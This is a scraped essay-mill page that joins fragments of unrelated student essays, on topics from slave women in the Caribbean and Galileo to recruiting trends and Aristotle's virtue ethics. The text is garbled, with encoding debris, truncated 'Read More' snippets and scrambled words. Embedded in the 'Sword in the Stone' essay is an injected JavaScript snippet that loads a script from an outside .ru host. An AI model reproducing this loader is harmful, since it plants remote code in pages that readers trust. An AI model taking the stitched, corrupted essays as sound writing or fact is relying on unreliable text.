Women s Influence On Women - 1084 Words

There have been great debates that cause people to have a deep interest in the lives of slave women during slavery in the Caribbean and the Southern parts of the USA. According to Deborah Gray White women has lost their identity, because the history of women has been based off of myth rather than the history of women (ar’n’t I a woman page 3). History is supposed to give people a clearly look into their past, but women believe that they have to prove their women hood; although, many women has proven this during slavery and all of their hard ships, women are still looking for their personal identify as a women. This essay will show how enslaved women were significant and their hardship proved their identity within the slave trade in the British Caribbean and South Carolina. The British Caribbean slave societies were based on the production and the reproduction of slave women during their hardship. Barbados became the first British settlement in the Caribben in the 1652 and then British took over Jamaica in 1655 (http://abolition.e2bn.org/slavery_45.html).This was the start of British slave trade better known as the Transatlantic Slave Trade. Before the middle 1800, African women and girls were forcibly taken to the Americas then the number of Europeans women and girls that migrated at that time. The number rate for selling slaves was always high when it came to women, because they were needed for childbirth and hard labor (Hard Labour, Barbara pg 83). A lot of plantationsShow MoreRelatedWomen s Influence On Women1288 Words   |  6 Pagespeople perceive women. Society in the 1900s to today has made makeup a necessity for a woman to be considered feminine. Cosmetics were first used in America in 1888 by an unknown inventor from Philadelphia, and were tr ademarked under the name Mumm. During the early years of the 20th century, makeup became fashionable in the United States of America and Europe owing to the influence of ballet and theatre stars (Chaudhri and Jain 2.) Makeup began to flourish in America in the 1930s. Women used the mostRead MoreWomen s Influence On Women846 Words   |  4 Pagesrecent times, which influenced a new worldview. During the 1960s, the liberation movement pushed for egalitarianism for women. This movement really made an impact on woman. Women started to rebel against the normal sexual traditions. Additionally, women started to shy away from their traditional roles in the home. It is not uncommon now for women and men to share household duties. Women also uphold demanding jobs and profession in society now. These multiple roles affect the woman in many ways. For instanceRead MoreWomen s Influence On Women1004 Words   |  5 PagesAdvertising has been around since the 1850’s when Volney B. Palmer o pened the first advertising agency in Philadelphia. From the beginning of this era, these ads have aided many businesses in promoting their products to the public but they don’t only promote these specific products. These advertisements promote what are thought to be social â€Å"norms† for women. They sell ideals for family, work, love, and the success that women are allowed to have. With all of this, they aim to communicate how a womanRead MoreWomen s Influence On Women2148 Words   |  9 Pageseveryone but unfortunately that is not the case. Pressures make women believe that they are not considered beautiful if they do not have magazine model bodies or they don’t have the face structure of a celebrity or they do something different than the norm with their hair or they are too short. It really is not a wonder why women struggle to feel pretty every day. False impressions are being put in the minds of youth and public by media that women just can’t liv e up to and shouldn’t have to. It all startsRead MoreWomen s Influence On Women Essay2292 Words   |  10 PagesQuestion: â€Å"Women received the vote based on their contribution to the war effort†. How accurate is this view that women gained the vote based solely on war work? 20 marks Attitudes towards women in 1900 were very different from attitudes today. In 1900 women’s personality traits were traditionally that they were emotional, untruthful immature, and so they were seen unfit and unworthy of the vote by men at that time. Many historians argue that there were many factors which led women to receivingRead MoreWomen s Influence On Women1599 Words   |  7 PagesDuring the 1920s, ‘30s, and ‘40s, women were making extreme social progress. They were starting to wear more revealing clothing, cutting their hair shorter, and generally becoming more respected in society. When the 1950’s came, however, women seemed to backtrack. The ‘50s housewife is a common stereotype associated with these times because of the rapid increase of ‘stay at home’ mothers. It was now the women’s job to stay at home and clean, cook, and watch the children when the husband was at workRead MoreWomen s Influence On Women1167 Words   |à ‚  5 PagesA notion of women have changed through encounter of various European people. Before that, they have their original culture, especially women role in the society was characteristic among mid-seventeenth centry to eighteen century. At the beginning of the book, the author Gunlong Fur shows that women had important role in the Native American society of Lenape. Firstly, they had responsibility of cultivating food, like corn and other vegetables. At this point, women knew when they should sow seeds byRead MoreWomen s Influence On Women997 Words   |  4 PagesOn a regularly basis women are judged for their appearance everywhere they may go. Whether it is by other woman or men, there are always negative remarks said about women. This is usually the reason why woman chose to wear make, to feel better about themselves during every occasion and enhance and array the beauty they already have. Of course, it is not necessary for woman to wear, but woman still do it because it makes them feel better. It is a form of great art used to elevate the beauty each womanRead MoreWomen s Influence On Women Essay1385 Words   |  6 Pagesthat when a women desires something, no one can stop her.† Individuals, scholars, and groups concerned with human rights and feminism, often criticize Islam over the treatment of their women. Westerners, such as form er first lady, Laura Bush, began a social political crusade in the name of â€Å"saving Muslim women† from â€Å"deliberate human cruelty.† In literature, they were depicted as stubborn, unfaithful, fragile, whose actions were based on the fear of the male figure. In everyday life, women are facedRead MoreWomen s Influence On Women1095 Words   |  5 Pagesfashion has been tremendously changing throughout the history. Women belonging from different ethnic group had different fashion, even the women belonging from same ethnic group followed different fashion depending on their race, cast, status or religion. Different clothing styles have impacted the women in different ways; in different eras the character of women has been determined by their clothing style. Similarly, clothing patterns of women in United States kept changing throughout the time. Fashion

The Movie Perks Of Being A Wallflower - 2368 Words

The movie â€Å"Perks of Being a Wallflower† is about a young teenage boy, name Charlie and his many struggles that he’s faced with as he enters his freshman year of High School. The movie, while at times entertaining, addresses many issues that many teenagers go through in early and late adolescent years. Bullying, sexual identity, substance abuse, romantic relationships, loss, high risk behaviors, sexual abuse, and suicide are topics that are addressed in this fascinating movie. The movie is a coming of age story that describes a difficult time for many teenagers who struggle to find themselves and their identity in society. Watching this movie, I was reminded of my own high school experience and could identify with the struggles and challenges that Charlie and his friends faced throughout their teenage years. The main character Charlie, is a young teenager who is shy, socially awkward, and an introvert who is ready to begin his freshman year of high school. Cha rlie struggles with his new transition from middle to high school, and he is uncertain what to expect as he prepares to enter this new life event. His social circle is minimal to non-existent while he is dealing with the suicide of his best friend earlier in the year. In addition, he also seems to struggle with the loss of his aunt who was killed in a car accident when he was a young boy. While he does appear to have good family support with his mother, father, older brother and sister. He also appears toShow MoreRelatedAnalysis Of The Movie Perks Of Being A Wallflower 1698 Words   |  7 PagesThe movie â€Å"Perks of Being a Wallflower is a bout an young teenage boy, name Charlie and his many struggles that he is faced with as he enters his freshman year of High School. The movie, while at times entertaining, addresses many issues that many teenagers go through in early and late adolescent years. Bullying, sexual identity, substance abuse, romantic relationships, loss, hi gh risk behaviors, sexual abuse, and suicide are topics that are addressed in this fascinating movie. The movie a comingRead MoreThe Perks of Being a Wallflower Compare and Contrast Essay808 Words   |  4 PagesThe Perks of being a Wallflower Compare and Contrast The book and the movie for The Perks of Being a Wallflower are extremely different, and I believe that the movie is much better than the book. The book is written much differently than the movie. There are lots of scenes that are in the book but not in the movie and that are in the movie not the book. The movie focuses less on the bigger, depressing topics than the book does. The characters in the movie are also much different than theyRead MoreThe Perks Of Being A Wallflower1401 Words   |  6 PagesI chose to do my Abnormal Psychology paper over The Perks of Being a Wallflower. I heard about this movie a couple of years ago and I never had time to watch it until recently. I did have a difficult time diagnosing what disorder I thought the main character had, but it turned out to actually be a learning opportunity for myself. This assignment did give me the opportunity to watch the movie differently than I have examined a movie before. What I mean is, for this assignment, I had to examine inRead MoreThe Perks Of Being A Wallflower870 Words   |  4 Pagesthe scientific study of being behavior in human groups (Schaefer). There are very many examples of sociology in the movie The Perks of Being a Wallflower, but I view alienation, deviance, and gender roles to be the most prominent. This movie is about the struggles of a teenage boy named Charlie’s freshman year of high school. Charlie is seen as a social outcast and he just barely makes it through the year with the help of his best friends Sam and Patrick. Throughout the movie Charlie experiences mostRead MoreThe Sense of Self in Adolescence: Teenager Movies Essay1325 Words   |  6 PagesIdentity Status Interview theory, and culture over time.(Arnett, 2013) Perks of Being a Wallflower (Halfon, Malkovich, Smith Chbosky, 2012), is a film that takes place in the south, about a freshman named Charlie, who starts high school with no friends. He just wants to be accepted by his peers and fit in. The Wallflowers, which are seniors, take him under their wing and give him the opportunity to experience the life of being divergent. Can’t Buy Me Love (Mount Rash, 1987) is a film about aRead MoreAnalysis Of Stephen Chbosky s The Catcher Rye And F. Scott Fitzgerald And Tennessee Williams1460 Words   |  6 Pageswas born in August†(Thompson 3).The Perks of Being a Wallflower is an epistolary novel that follows an intellectual and emotional maturation of a teenager who uses the alias of Charlie over the course of his first year of high school. The Perks of Being a Wallflower was banned because parent complained about the books decpetion of homosexualtiy, sex, masturbation, and the use of alcohol and drugs. Elizabeth Thompson stated â€Å" 2. The Perks of Being a Wallflower is the only controversial book thatRead MoreThe Perks of Being a Wallflower: Image of the Self Essay2952 Words   |  12 Pagesï » ¿ THE PERKS OF BEING A WALLFLOWER Czarina Ann B. Baptisma Hum St 25 Ma’am Odal-Devora October 18, 2013 INTRODUCTION Stephen Chbosky’s The Perks of Being a Wallflower is a coming-of-age novel about a 15-year-old boy, Charlie, who is unable to repress any emotions. The novel was first released on 1999 by MTV Books. It has quietly sold nearly half a million copies.1 Stephen Chbosky was born on January 25, 1970 and raised in Pittsburgh, Pennsylvania. He grewRead MorePerks of Being a Wallflower Context Analysis1813 Words   |  8 PagesThe Perks of Being a Wallï ¬â€šower: Context Analysis Paper ! Stephen Chbosky, a 29 year-old ï ¬ lm director and screenwriter published his ï ¬ rst semi-autobiographical novel in 1991, The Perks of Being a Wallï ¬â€šower. He later directed the movie in 2011 and released it in October 2012. The central theme of the story revolves around the struggle to understand the terrible things that inevitably happen to those we love and to ourselves. It unfolds through a series of letters written by the main character, CharlieRead MoreThe 2012 Film The Perks of Being a Wallflower1233 Words   |  5 PagesThe 2012 film The Perks of Being a Wallflower, directed by Stephen Chbosky, is a modern classic that captures the highs and downs of growing up. It is a moving film about first love, fear, hope, and unforgettable friend s. The Perks of Being a Wallflower is a great media text to convey the meaning of groups and leaders, technology in everyday life, and the affects on my own media profile. Logan Lerman stars as Charlie, the introverted and naà ¯ve high school freshman. Charlie is already counting downRead MoreHigh School And Social Hierarchy1246 Words   |  5 Pagesa sense of belongingness and security. Although there are positive aspects of cliques, there is a correlation between cliques and social pressure. Some clique members deal with the anxiety of constantly trying to impress their peers or the fear of being kicked out of the group while those who are outcasts may face bullying and feelings such as loneliness and depression. Either way, links have been found between certain coping mechanisms pertaining to the social pressure adolescents face. For example

Positive and Negative Reinforcement Free Essays

Positive and Negative Reinforcement Reinforcement is an essential part in identifying and encouraging a certain behavior. In the most classic definition, positive reinforcement is a method of identifying to children which behaviors are acceptable and appropriate and which are not (Sigler, E. Aamidor, S, 2005). We will write a custom essay sample on Positive and Negative Reinforcement or any similar topic only for you Order Now Reinforcement is often given as praise for doing a certain task. As educators, saying â€Å"great job† or a simple word like â€Å"fantastic† are expressed towards students as praise. However, when a student is struggling and praise is given such as â€Å"you are doing so well†, the negative aspects of praise present themselves. The child is aware of the empty praise therefore it may work against the teacher if it is taken as a false praise. So, as educators, we must determine what reinforcements will work with each individual child through experimentation. Also, building a relationship with not just the child, but the parents and all those involved with the child will be instrumental in developing the proper use of reinforcements and can be helpful in gaining knowledge of certain behaviors. The stronger reinforcements for most children are usually food, candy, or drinks. The durability and effectiveness of a reinforcer can usually be determined best by reinforcing the behavior intermittently or by providing a strong alternative which could interfere with the behavior in question (Ferster, C, 1961). Positive reinforcement is not just about the behaviors of the child but the reaction of the teacher and the adults to certain behaviors. Although a child may attempt to test the boundaries of one’s attention, positive attention does not make a child behave inappropriately (Sigler Aamidor, 2005). The reinforcing comes from the teacher or adults actions and words. For example, Joshua is an eight-year-old autistic boy who begins to whine and cry every single time the teacher tries to get him to begin a task that he dislikes. Most of the time Josh only wants to play on the computer, participate in gym, or eat. Each and every time Josh began to break down the staff usually asked him what he wanted or just gave in to what he wanted to do, not even trying to redirect him to the actual task at hand, which his classmates were doing. Joshua would get rewarded with chocolate, potato chips, and even some sympathy hugs from the staff. The behavior became more frequent and the result was the same. By now Joshua knew what he was going to get when he acted out, which was whatever he wanted. However, to change his behavior the staff began to ignore Josh and his outbursts. After a short time of whining and crying Josh threw himself on the floor but the staff still ignored the behavior. He then realized that he was not going to get the same results as he was getting by whining and crying when things didn’t go his way. The teacher then got his attention with another activity and Josh began to take part in the activity. A couple weeks later, after the same lesson, Josh’s behavior was almost extinguished and slowly that behavior was no longer happening in the classroom. On the other hand, negative reinforcement is the removal of an aversive stimulus to increase a certain behavior. For example, when a student is distracted from his work due to loud music playing, however his work improves when the music is off, then the music being turned off is the reinforce. The difference between positive and negative can sometimes be difficult to acknowledge when there are several consequences and the need of the distinction is debated. The main purpose of giving punishments and rewards is to decrease or increase the behavior of the learner (Dad, Ali, Qadeer Janjua, Shazad, and Khan, 2010). Raul is a student with an emotional disorder and requires a great deal of support to help with his academic goals. Raul is extremely sensitive and becomes very overwhelmed when things don’t go his way. He whines, cries, and loses control when he feels exhausted from taking instruction. Raul is very intelligent and needs to get verbal praise throughout his day to stay on task. His triggers are usually when he is asked to sit down within the circle during circle time. The behavior is him pulling away, crying, and hitting, trying to escape the actual activity. The maintaining consequence is that the adults let Raul leave the circle. There is not much fight with Raul because all those involved do not want the other students to become distracted. The first prevention is to give Raul some type of choice to coincide with circle time. A visual activity schedule could give him a more clear idea of what he should be doing and what the daily lessons and activities are. Raul will know exactly where he needs to be and what he needs to be doing at that particular time. Also, manipulatives and intermittent praise are other preventions that the teacher can use. Intermittent praise is praised use throughout the activity but not regularly. This type of praise is given to become persistent. The new skills that can be developed are a part of the plan and may be implemented accordingly. Raul may have increased time of engagement, such as a longer duration of sitting within the circle. Raul will say â€Å"all done† when he has completed a task so praise can be given. This will help the adults notice him if he is not given the correct amount of attention. The responses to Raul for sitting longer will also be all positive praise toward Positive reinforcement is something that rewards the individual for an action taken. When students do or exhibit the correct or desired behaviors in school, then rewarding them for this action is what is known as positive reinforcement. There are many examples for these actions. Students that hand in homework on time may be given time near the end of class to put their books away and work on or do something they want to do within the rules of the school. Putting stickers on work well done so the student knows they did the right thing. Giving the class a free day or having fun activities planned for them to do instead of working on a certain day. Giving a weekly or reward to the student who has the best attendance or best behavior in the class. There are many ways to reward students or show them that by using good behavior, they can be rewarded for their actions and this will cause the student to want to do the right thing versus misbehaving in the classroom. References Dad, H. ; Ali, R. ; Qadeer Janjua, M. ; Shazad, S. ; Khan, M. (2010). Comparison of the Frequency and effectiveness of positive and negative reinforcement practices in schools. Contemporary Issues In Education Research. 3(1), 127-135. Ferster, C. B. (1961). Positive reinforcement and behavioral deficits of autistic children. Child Development. 32(2), 437. Sigler, E; Aamidor, S. (2005). From positive reinforcement to positive behaviors: an everyday guide for the practioner. Early Childhood Education Journal. 32(4), 249-253. How to cite Positive and Negative Reinforcement, Papers

Cliff free essay sample

# 8217 ; s Papper Essay, Research Paper The Sword in the Rock The Sword in the Stone is a book about an adoptive kid named Wart. He is of royal blood and does non cognize this. One twenty-four hours when Wart is in the wood, he finds a prestidigitator named Merlin. Merlin comes place with Wart and agrees with Sir Ector, Wart # 8217 ; s defender, to go Wart # 8217 ; s coach. Merlin goes about educating Wart by transforming him into different animate beings. Through each transmutation Wart experiences different signifiers of power, each being a portion of how he should govern as male monarch. The first transmutation dips Wart and Merlin into the palace # 8217 ; s fosse as fish. They proceed to run into the largest fish in the fosse, who is the swayer. This fish takes what he wants because of his size. In a address about power, he tells Wart that, # 8220 ; Might is right, # 8221 ; and might of the organic structure is greater than might of the head. Because of the manner the fish-king regulations, his topics obey him out of fright for their lives. Wart experiences this firsthand when the fish-king Tells him to go forth. He has grown bored of Wart, and if Wart does non go forth he will eat him. The male monarch uses his size as his claim to power, hence his topics follow him out of fright. In Wart # 8217 ; s following transmutation into a hawk, he soars into the palace # 8217 ; s mews. All the birds in the mews have a military rank. Their leader is an old falcon, who Sir Ector keeps for show. The birds who rank below the falcon, hold her in highest respect because of her age. She applies her power over the other birds with no concern for their lives. In one case, Wart is ordered to stand following to the coop of a brainsick hawk who about kills him. On the other manus, her seasoned age brings regard, since she had non been released once she outlived her utility as a huntress. This allows her to keep a powerful clasp over all the birds she regulations through fright and regard. Following, Wart is transformed into an emmet and posted within an emmet settlement. There is a individual leader of the emmets, and she is the lone thought person in the whole nest. All the emmets are manipulated and overseen by her. Each emmet has a specific undertaking, which it completes repeatedly. The absolute power exerted by the leader destroys all individuality, go forthing the emmets with no creativeness. Alternatively, they use test and mistake to complete undertakings that should take merely a little sum of idea. Wart sees this occur when an ant attempts with trouble to form three corpses in a little burial chamber, when a little sum of concluding would hold solved gt ; the job rapidly. The emmets are of a corporate head, so that what one thinks, they all think. They go about their day-to-day lives unmindful to the command the leader has over them. Wart # 8217 ; s 4th transmutation topographic points him in a flock of geese. These geese are a peace loving race that neer kill. There is one leader to a group who is called The Admiral. He guides them on their flight South for the winter. The Admiral receives his place because of his cognition of the southern migration path. He is merely elected if all the geese in the migration group hold he is capable of making the occupation. During the flight the geese obey his picks, since he is their elective leader. But his power ends one time they are back on the land, where he is merely looked upon as a well-thought-of senior. In the concluding transmutation Wart visits the Wisconsinite. The Wisconsinite is a great philosopher who enjoys giving scholarly commentaries. While Wart is sing him, he explains a narrative he has written on the creative activity of the carnal kingdom # 8217 ; s hierarchy. In his commentary he explains how adult male answered God # 8217 ; s riddle and is awarded control over the carnal land. He lives a life of purdah because many other animate beings do non believe at his degree. They listen because he is old and experient, and with this comes regard. Through each of the transmutations, Wart sees different utilizations of power. Wart must take how he will finally regulate his land. The leaders he visits, regulate in their ain manner, each retaining their power through different methods. When these are combined, the following image of how a leader should or should non govern emerges: A leader should non effort to govern his or her people through might and fear, as does the fisk-king. Unlike the falcon, a swayer should non retain power merely because of age, and should govern with the topics well-being in head. One should non exert entire control over one # 8217 ; s topics, because they lose creativeness and individuality as shown by the emmets. A democratically elected leader, whom topics have faith in his or her ability to acquire a occupation done, and who has the required accomplishments will finish the undertaking at manus, as do the geese. Leaderships must give great thought to doing determinations related to their usage of power, and utilize their experience, like the Badger. Besides like the Badger, these determinations should be made without the aid of others, and hence may take to solitude. T. H. White is hence similar to Merlin in seeking to learn us about leading. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

4 crucial recruiting trends you need to know

4 crucial recruiting trends you need to know As an HR or recruitment professional, you know that some things in your field never change- like matching the right talent with the right position. Just about everything else, however, may be up for grabs. Like every other industry, recruiting grows and evolves with the times. So what does that mean for this year? Let’s look at some of the biggest trends that will impact your professional life in the coming months.Crunching the dataWe live in a data-driven society now. And using that data to refine hiring practices isn’t an especially new concept, but the level of detail we can harvest and use, as well as the tools we can use to analyze the information, has grown exponentially. According to Jobscience, developing a clear data-driven strategy for hiring can help speed up the hiring process from a current average of two months to fill a given position.Data from current employees (like skills, level of experience, time in the position, or job performance) can help you deve lop metrics for recruiting people with the right skill sets. It can also help you figure out ahead of time which candidates might be a flight risk, or determine what kinds of hiring packages you should offer to ensure job offer acceptance and employee retention down the road.If your company isn’t data-focused just yet, don’t worry- there’s lots of emerging tech that can help you get there. For example, this year LinkedIn is releasing Talent Insights, a self-service tool that compiles analytics data on talent pools, employee skills, and workforce composition to help companies streamline their own analysis and hiring decisions.Embracing automationSpeaking of tech solutions, nothing has revolutionized talent acquisition quite like automation. The days of hand-scouring a slush pile of resumes for the right interview candidates are gone now. Artificial intelligence (AI) tools are already helping staffing and recruiting professionals to streamline virtually every part of the hiring process- particularly the early stages, when large talent pools need to be narrowed for particular positions.hbspt.cta.load(2785852, '9e52c197-5b5b-45e6-af34-d56403f973c5', {});Chances are, you already use some of the automated apps and software out there to read resumes and identify potential candidates based on keywords or other metrics. But what’s coming next will revolutionize hiring even further: tools that not only screen resumes and application materials, but also schedule candidates, create compensation models, and source candidates for future job openings.Going hand in hand with a stronger focus on data analysis, these AI tools have the potential to make the recruitment, hiring, and retention processes more efficient. Using chatbots, companies can also add a â€Å"human† touch when reaching out to candidates to answer questions, schedule interviews, or conduct assessments. We still haven’t reached peak â€Å"Alexa rules the world† when it comes to using AI in corporate hiring, but the tools that are now emerging are bringing that level of automation closer to reality.Stepping up diversity and inclusivityDiversity in the workplace has shifted from a â€Å"nice to have† in many companies to a â€Å"must have,† driven by increased public scrutiny and accountability. In order to keep up with the growing diversity of the workforce, companies are left trying to figure out how to not only find more diverse candidates but also improve employee retention and meet the needs of that workforce. However, many companies are finding that merely hiring for diversity just isn’t enough- if employees feel like token hires, or like they’re add-ons, it can have serious repercussions for employee engagement and retention. Companies need to get serious about adding inclusivity as part of their diversity plans.So what does that mean in the short-term? It’s not about filling numbers or quotas- itâ⠂¬â„¢s about creating an environment that feels welcoming to a broader range of qualified people. Checking boxes on hiring forms won’t cut it. Instead, companies are turning to holistic reviews of their company policies and culture to make sure that people of diverse backgrounds, genders, etc. feel like part of the team.Rethinking the company’s culture and making conscious efforts to make it more welcoming is not the only avenue for companies to consider if they’re looking to expand their inclusivity. Much of the change happens in the employee recruitment arena: reaching out to local communities, broadening language in job postings and descriptions to reach a more diverse audience, ensuring diversity in recruiting or interview panels, educating employees and recruiters on unconscious bias, and consulting employee resource groups for guidance.Rethinking the interview processAs part of the trend of increasing efficiency in all areas of hiring, we’re also st arting to see closer scrutiny around whether the traditional interview process still works with a quickly evolving recruitment world. Traditional interviews require a significant investment of time and energy on the company’s part. That’s time that could be spent on data analysis or other initiatives. Candidates need to be reviewed, scheduled, interviewed, interviewed again as necessary, and handled at every point through the process. So how can that process be streamlined?Companies are increasingly turning to alternative interview formats to identify the best candidates for a position. Instead of the usual â€Å"you come in and spend hours talking to a panel or a series of interviewers† format, some companies are hosting â€Å"auditions,† or competitions that give candidates a chance to demonstrate the skills necessary for the job. From these hands-on interviews, employers can get a stronger sense of what the candidate can do, rather than rely on resumes and general questions in a traditional interview format.How recruiters and hiring managers read resumes is changing as well. Before, hard skills and experience were king; now, the focus is slowly moving to soft skills (like people skills, organizational skills, and teamwork) and potential over experience. It’s not that experience no longer matters, but rather that companies are increasingly valuing trainability and teamwork over what a candidate has done in the past.Many companies are also shifting interview responsibilities to the employees who will actually be working with the new hire, in an effort to get a more realistic sense of how a candidate might fit in with the day-to-day dynamics. These interviews may be informal, but they give the candidate a chance to see what the job is really like and give the current employees a chance to weigh in on how the candidate might fit in with the existing team.In 2018, the message is pretty straightforward: work smarter, not necessa rily harder, to find the people you want for the jobs you need to fill. Whether that’s using the new tech tools at our disposal, or rethinking how we bring people into the fold, the status quo just isn’t going to cut it anymore.

The Heresy of Galileo essays

The Heresy of Galileo essays THE HERESY OF GALILEO Galileo was condemned by the Inquisition, not for his own brilliant theories, but because he stood up for his belief in Copernicus's theory that the earth was not, as the Church insisted, the center of the universe, but that rather, the universe is heliocentric. Galileo was a man of tremendous intellect and imagination living in a era dominated by the Catholic Church, which attempted to control the people by dictating their own version of "reality." Any person who publicly questioned Church doctrine ran the chance of condemnation and punishment. If man could think, man could question, and the Church could lose its authority over the masses. This could not be tolerated in the 17th century, when the Church had the power to dictate "reality." Copernicus probably avoided a similar fate by confining his opinions to his students and the university milieu, and in fact his theories were not published until the time of his death. To be tried by the Inquisition was something that nobody could take lightly. Although in Galileo's time the Inquisition was becoming more and more lenient, it was known to have used torture in the past and to have sent many heretics to burn at the stake. As late as 1600, this fate had befallen the Italian thinker Giordano Bruno, a one-time Dominican friar who had adopted a From the summer of 1605, Galileo was private tutor of mathematics to young Prince Cosimo de' Medici, son of the Grand Duke of Tuscany. Teacher and pupil became sincerely attached to each other by mutual affection and deference, and this bond lasted to the end of Galileo's life. Galileo remained a good friend of the Grand Duke as well. In the summer of 1611, the Grand Duke invited Galileo to a dinner party at his court. The Duke liked to gather great scholars around him, especially when he had illustrious guests, to hear them talk about issues of ...

An investigation weather the Nintendo Wii attract females more than Essay

An investigation weather the Nintendo Wii attract females more than males - Essay Example Using a purposive sample of 107 Nintendo Wii gamers, the present study suggests that males are more likely to be attracted to using or playing the Wii more than their female counterparts, as attested to by their higher ratings on beliefs, subjective norms, and behavioural intentions. They concurred only on one subscale, which is perceived behavioural control, suggesting agreement that there is adequate control on excessive use of the Nintendo Wii. On the Theory of Reasoned Action, it was found that males tended to give higher ratings on the beliefs, subjective norms, and behavioural intentions that are related to the use of the Nintendo Wii. ... Students’ gender differences in their response to technology use have been identified and explained by many researchers who have had varying results in their studies. For instance, in a study by Vasil, Hesketh, and Podd (1987), it was found out that females do not prefer being involved in technological activities and that they are less participative in technology-related events compared to males. Gender differences have also been evident in the use of the Internet and the computer in general as findings of Shashaani (1997) showed how boys take more interest in computers compared to girls. Nonetheless, Internet usage has become common not just among males but among females as well. Computer games, meanwhile, have been obtaining a great deal of attention than previous years as a source of pleasure and enjoyment among young individuals. The gaming industry along with well-accepted media has recognized the usage and play of women when it comes to digital games (Beasley and Standle y 2002). The increasing popularity of video games and the improved sales of game titles may point out that members of the female population have taken part in the expanding gaming audience. Previous research about females and their associations with video games has mainly been divided into two main areas- the assessment of female representations in video games (Heintz-Knowles and Henderson 2002), and the surveys or interviews conducted among female players with regards to their interests, level of play, and overall thoughts about video games and the gaming culture in general (Yates and Littleton 2001). A number of studies on virtual games suggest that

Social Justice Essay Example | Topics and Well Written Essays - 2250 words

Social Justice - Essay Example A review of these arguments in favour of and against death penalty shows that death penalty is, indeed, an efficacious mean of punishing criminals guilty of serious and heinous crimes. This paper, therefore, evaluates the debates in favour of and against capital punishment and presents a coherent and logical debate in favour of death punishment. In the presentation of the arguments in favour of death penalty, Stephen Toulmin’s model of argumentation is applied (Stephen Toulmin, online). The application of the Toulmin’s model of argumentation helps in presenting the arguments in a coherent and logical manner. There are three main arguments in support of death penalty as an effective mean of punishing the offenders who are guilty of crimes of high magnitude. The first argument is based on the claim that death penalty deters crime. Death penalty as a deterrent mean to further commission of crime is one of the main reasons why death penalty is practiced in many jurisdiction s. As a mean of punishing the criminals for their offences, death penalty deters further commission of crime in two ways. ... SA in an attempt to find out whether, really, capital punishments lead to reduction in crime rate, it was found that, there is, indeed, a strong correlation between death penalty and the rate of crimes, especially crimes of high magnitude like murder ( Arguments for and against Death Penalty, online). The study showed a significant reduction in crime, in places where death penalty is practiced as compared to other places where different means of punishing such criminals is practiced. But, apart from the studies that tend to support the view that death penalty can lead to reduction in crime, it is also, a matter of common sense that, when the people who are committing crimes are abolished or killed, then the rate of crimes will significantly reduce because they will not have another opportunity to commit the crimes. The second reason why death penalty leads to reduction in crime is due to the fact that by killing the offenders of serious crimes, other people with the intent to kill wi ll be afraid of doing so for fear of the consequences that would befall them(Goel, 2008). People, naturally, fear severe punishments, especially death, and so, when the law prescribes death penalty for serious crimes, then many people, utterly out of fear for the death, will refrain from committing such crimes. Although there are some studies contradicting this fact, arguing that death penalty does not deter criminals from committing crimes( Arguments for and Against Death Penalty, online) there are contrary studies supporting the view that death penalty instils fear among the criminals and, therefore, prevents them from committing crimes. But it is a fact that some people commit crimes due to psychological problems and for these kinds of people, death penalty cannot prevent them from

Latin America Essay Example | Topics and Well Written Essays - 500 words - 3

Latin America - Essay Example Indigenous culture of the South Americans originates from the Incan empire. This empire was established in the year 1438 in the city of Andean for a period of 100 years. Communication was made easier in this region through the building of an expansive network of roads. The Incas built ports, signal towers and food storage facilities along this highway. This allowed the Incas to dominate the western part of the continent. Cultural landscape of South America changed immediately after the importation of African slaves. Most of the African slaves were brought to Brazil. This led to the integration of the African culture to that of indigenous Indian beliefs. Other historical cultures developed with both physical and cultural landscape (Keen & Haynes, 2012). Cowboy culture developed in pampas in the mid 18th century where they hunted herds’ of horses and cattle that roamed freely in the land (Un-Habitat, 2012). The rich history of South America is explored by contemporary cultures. Many organizations are trying to bring audience globally in order to spread social and political messages that will generate revenue from tourism and investment. The aim of these organizations is to ensure sustainable development in South America. Currently they are working on issues like environmental legislation, leadership training and cultural representation. Religious practices remain the stronghold of many South American cultures. Catholicism has dominated the entire continent while other spiritual beliefs dominate the secular activities. Carnival of Reo De Janeiro is an important secular practice that is celebrated 40 days before Easter. This is an important event in the catholic calendar and one of the largest revenue-generating events in Reo (Keen & Haynes, 2012). The Rio carnival is an important event in South America because it attracts many Brazilians and foreigners. During this time, the hotel

Aristotle In Virtue Ethics

Aristotle In Virtue Ethics Aristotle was a Greek philosopher, scientist as well as logician who lived between 384 and 322 BC. Aristotle is highly regarded as one of the famous thinkers in various fields such as political theory. He is an ancient thinker who was an effective contributor together with his teacher Plato. His desire and contribution started at an early age, at the time he was in school in Platos academy in Athens. He has moved places in search of philosophical and biological knowledge. He moved to places such as Asia and Lesbos. His life was known to have the greatest influence to his political thought. Through his travelling, he had various experiences in different kinds of political systems and hence gained a lot in the field of politics. Not only in history he also made an effective contribution to other areas such geography whereby he concluded that the earth was round instead of the earlier believe that it was flat. Aristotle contribution has been of great positive effect to mans life and eve n in todays community there are still his findings which are applicable. One of the many areas that Aristotle contributed and his contribution was noted is the topic on virtue ethics? Briefly virtue ethics is concerned with traits of characters that are found to be essential for human flourishing. Virtue ethics emphasizes the role played an individuals character and also the virtues that determine his behavior. It forms the basis to normative ethics which the opposite of deontology. According to Aristotle, happiness is referred is an activity, hence referring it a way of life and it is depicted on how we act and not how or whom we are. The general concept behind virtue ethics is that it looks into what the individual should choose to be rather than depending on the external factors to change a person. People have the power to choose what they ought to be rather than depend solely such as culture. Virtue ethics is currently one of three major approaches in normative ethics. It looks more into the moral character rather than duties and rules (deontology) or rather one that deals with consequences of actions simplified as consequentialism. According to Aristotle, virtue means excellence happiness whereby people can only be happy when they have fulfilled their basic function or purpose. People need to act well and practice reasoning. Aristotle divided virtue into intellectual and the moral virtues. According to Aristotle the highest target of all people is directed by happiness which he defined as continuous contemplation of the internal and external truth. This happiness is attained trough virtuous life as well as development of wisdom and reason. An individual needs sufficient external goods to ensure opportunity for virtuous action. Virtuous acts need mindful choice and moral reason or inspiration. However, moral virtue cannot be achieved abstractly but rather requires moral action in any social environment. Both ethics and politic are close to each other as Aristotle refers to politics like a science of making the society in which people can have the good life as they develop their full potential. Despite the work of Aristotle, he tries hard to convince us what is virtuous. This has differed from the teaching from the modern moral philosophers. This is because he put very little effort on the moral development of individuals. For one to be a good person he needs to practice so as to gain the good habit and the virtue is a good state of soul that is acquired through habit of an individual. In the ancient world, virtue ethics were a particularly dominant 